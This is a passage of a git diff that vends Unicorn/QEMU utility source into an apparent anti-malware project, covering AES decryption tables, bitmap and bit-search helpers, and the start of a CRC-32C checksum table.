0x51bd6e10U, + 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, + 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, + 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, + 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, + 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, + 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, + 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, + 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, + 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, + 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, + 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, + 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, + 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, + 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, + 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, + 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, + 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, + 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, + 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, + 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, + 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, + 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, + 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, + 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, + 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, + 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, + 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, + 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, + 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, + 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, + 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, + 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, + 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, + 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, + 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, + 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, + 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, + 0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U, + 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, + 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, + 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, + 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, + 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, + 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, +}; +const uint32_t AES_Td2[256] = { + 0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U, + 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, + 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, + 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, + 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, + 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, + 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, + 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, + 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, + 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, + 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, + 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, + 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, + 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, + 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, + 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, + 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, + 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, + 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, + 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, + + 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, + 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, + 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, + 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, + 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, + 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, + 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, + 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U, + 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, + 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, + 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, + 0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU, + 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, + 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, + 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, + 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, + 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, + 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, + 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, + 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, + 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, + 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, + 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, + 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, + 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, + 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, + 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, + 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, + 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, + 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, + 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, + 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, + 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, + 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, + 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, + 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, + 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, + 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, + 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, + 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, + 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, + 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, + 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, + 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, +}; +const uint32_t AES_Td3[256] = { + 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, + 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, + 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, + 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, + 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, + 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, + 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, + 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, + 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, + 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, + 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, + 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, + 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, + 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, + 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, + 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, + 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, + 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, + 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, + 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, + 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, + 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, + 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, + 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, + 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, + 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, + 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, + 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, + 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, + 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, + 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, + 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, + 0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U, + 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, + 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, + 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, + 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, + 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U, + 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, + 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, + 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, + 0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, + 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, + 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, + 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, + 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, + 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, + 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, + 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, + 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, + 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, + 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, + 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, + 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, + 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, + 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, + 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, + 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, + 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, + 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, + 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, + 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, + 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, + 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, +}; +const uint32_t AES_Td4[256] = { + 0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U, + 0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U, + 0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU, + 0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU, + 0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U, + 0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U, + 0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U, + 0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU, + 0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U, + 0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU, + 0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU, + 0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU, + 0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U, + 0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U, + 0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U, + 0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U, + 0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U, + 0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U, + 0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU, + 0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U, + 0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U, + 0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU, + 0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U, + 0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U, + 0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U, + 0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU, + 0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U, + 0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U, + 0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU, + 0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U, + 0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U, + 0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU, + 0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U, + 0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU, + 0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU, + 0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U, + 0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U, + 0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U, + 0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U, + 0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU, + 0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U, + 0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U, + 0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU, + 0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU, + 0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU, + 0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U, + 0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU, + 0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U, + 0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U, + 0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U, + 0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U, + 0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU, + 0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U, + 0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU, + 0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU, + 0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU, + 0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU, + 0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U, + 0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU, + 0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U, + 0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU, + 0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U, + 0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U, + 0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU, +}; diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/bitmap.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/bitmap.c new file mode 100644 index 0000000..f6b9cdc --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/bitmap.c @@ -0,0 +1,55 @@ +/* + * Bitmap Module + * + * Stolen from linux/src/lib/bitmap.c + * + * Copyright (C) 2010 Corentin Chary + * + * This source code is licensed under the GNU General Public License, + * Version 2. + */ + +#include "qemu/bitops.h" +#include "qemu/bitmap.h" + +#define BITMAP_FIRST_WORD_MASK(start) (~0UL << ((start) % BITS_PER_LONG)) + +void qemu_bitmap_set(unsigned long *map, long start, long nr) +{ + unsigned long *p = map + BIT_WORD(start); + const long size = start + nr; + int bits_to_set = BITS_PER_LONG - (start % BITS_PER_LONG); + unsigned long mask_to_set = BITMAP_FIRST_WORD_MASK(start); + + while (nr - bits_to_set >= 0) { + *p |= mask_to_set; + nr -= bits_to_set; + bits_to_set = BITS_PER_LONG; + mask_to_set = ~0UL; + p++; + } + if (nr) { + mask_to_set &= BITMAP_LAST_WORD_MASK(size); + *p |= mask_to_set; + } +} + +void qemu_bitmap_clear(unsigned long *map, long start, long nr) +{ + unsigned long *p = map + BIT_WORD(start); + const long size = start + nr; + int bits_to_clear = BITS_PER_LONG - (start % BITS_PER_LONG); + unsigned long mask_to_clear = BITMAP_FIRST_WORD_MASK(start); + + while (nr - bits_to_clear >= 0) { + *p &= ~mask_to_clear; + nr -= bits_to_clear; + bits_to_clear = BITS_PER_LONG; + mask_to_clear = ~0UL; + p++; + } + if (nr) { + mask_to_clear &= BITMAP_LAST_WORD_MASK(size); + *p &= ~mask_to_clear; + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/bitops.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/bitops.c new file mode 100644 index 0000000..f1641bf --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/bitops.c @@ -0,0 +1,129 @@ +/* + * Copyright (C) 2004 Red Hat, Inc. All Rights Reserved. + * Written by David Howells (dhowells@redhat.com) + * Copyright (C) 2008 IBM Corporation + * Written by Rusty Russell + * (Inspired by David Howell's find_next_bit implementation) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +#include "qemu/bitops.h" + +#define BITOP_WORD(nr) ((nr) / BITS_PER_LONG) + +/* + * Find the next set bit in a memory region. + */ +unsigned long find_next_bit(const unsigned long *addr, unsigned long size, + unsigned long offset) +{ + const unsigned long *p = addr + BITOP_WORD(offset); + unsigned long result = offset & ~(BITS_PER_LONG-1); + unsigned long tmp; + + if (offset >= size) { + return size; + } + size -= result; + offset %= BITS_PER_LONG; + if (offset) { + tmp = *(p++); + tmp &= (~0UL << offset); + if (size < BITS_PER_LONG) { + goto found_first; + } + if (tmp) { + goto found_middle; + } + size -= BITS_PER_LONG; + result += BITS_PER_LONG; + } + while (size >= 4*BITS_PER_LONG) { + unsigned long d1, d2, d3; + tmp = *p; + d1 = *(p+1); + d2 = *(p+2); + d3 = *(p+3); + if (tmp) { + goto found_middle; + } + if (d1 | d2 | d3) { + break; + } + p += 4; + result += 4*BITS_PER_LONG; + size -= 4*BITS_PER_LONG; + } + while (size >= BITS_PER_LONG) { + if ((tmp = *(p++))) { + goto found_middle; + } + result += BITS_PER_LONG; + size -= BITS_PER_LONG; + } + if (!size) { + return result; + } + tmp = *p; + +found_first: + tmp &= (~0UL >> (BITS_PER_LONG - size)); + if (tmp == 0UL) { /* Are any bits set? */ + return result + size; /* Nope. */ + } +found_middle: + return result + ctzl(tmp); +} + +/* + * This implementation of find_{first,next}_zero_bit was stolen from + * Linus' asm-alpha/bitops.h. + */ +unsigned long find_next_zero_bit(const unsigned long *addr, unsigned long size, + unsigned long offset) +{ + const unsigned long *p = addr + BITOP_WORD(offset); + unsigned long result = offset & ~(BITS_PER_LONG-1); + unsigned long tmp; + + if (offset >= size) { + return size; + } + size -= result; + offset %= BITS_PER_LONG; + if (offset) { + tmp = *(p++); + tmp |= ~0UL >> (BITS_PER_LONG - offset); + if (size < BITS_PER_LONG) { + goto found_first; + } + if (~tmp) { + goto found_middle; + } + size -= BITS_PER_LONG; + result += BITS_PER_LONG; + } + while (size & ~(BITS_PER_LONG-1)) { + if (~(tmp = *(p++))) { + goto found_middle; + } + result += BITS_PER_LONG; + size -= BITS_PER_LONG; + } + if (!size) { + return result; + } + tmp = *p; + +found_first: + tmp |= ~0UL << size; + if (tmp == ~0UL) { /* Are any bits zero? */ + return result + size; /* Nope. */ + } +found_middle: + return result + ctzl(~tmp); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/crc32c.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/crc32c.c new file mode 100644 index 0000000..8866327 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/crc32c.c @@ -0,0 +1,115 @@ +/* + * Castagnoli CRC32C Checksum Algorithm + * + * Polynomial: 0x11EDC6F41 + * + * Castagnoli93: Guy Castagnoli and Stefan Braeuer and Martin Herrman + * "Optimization of Cyclic Redundancy-Check Codes with 24 + * and 32 Parity Bits",IEEE Transactions on Communication, + * Volume 41, Number 6, June 1993 + * + * Copyright (c) 2013 Red Hat, Inc., + * + * Authors: + * Jeff Cody + * + * Based on the Linux kernel cryptographic crc32c module, + * + * Copyright (c) 2004 Cisco Systems, Inc. + * Copyright (c) 2008 Herbert Xu + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the Free + * Software Foundation; either version 2 of the License, or (at your option) + * any later version. + * + */ + +#include "qemu-common.h" +#include "qemu/crc32c.h" + +/* + * This is the CRC-32C table + * Generated with: + * width = 32 bits + * poly = 0x1EDC6F41 + * reflect input bytes = true + * reflect output bytes = true + */ + +static const uint32_t crc32c_table[256] = { + 0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L, + 0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL, + 0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL, + 0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L, + 0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL, + 0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L, + 0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L, + 0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL, + 0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL, + 0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L, + 0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L, + 0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL, + 0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L, + 0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL, + 0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL, + 0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L, + 0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L, + 0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L, + 0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L, + 0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L, + 0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L, + 0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L, + 0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L, + 0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L, + 0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L, + 0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L, + 0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L, + 0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L, + 0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L, + 0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L, + 0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L, + 0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L, + 0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL, + 0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L, + 0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L, + 0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL, + 0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L, + 0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL, + 0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL, + 0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L, + 0xA24BB5A6L, 0x502036A5L, 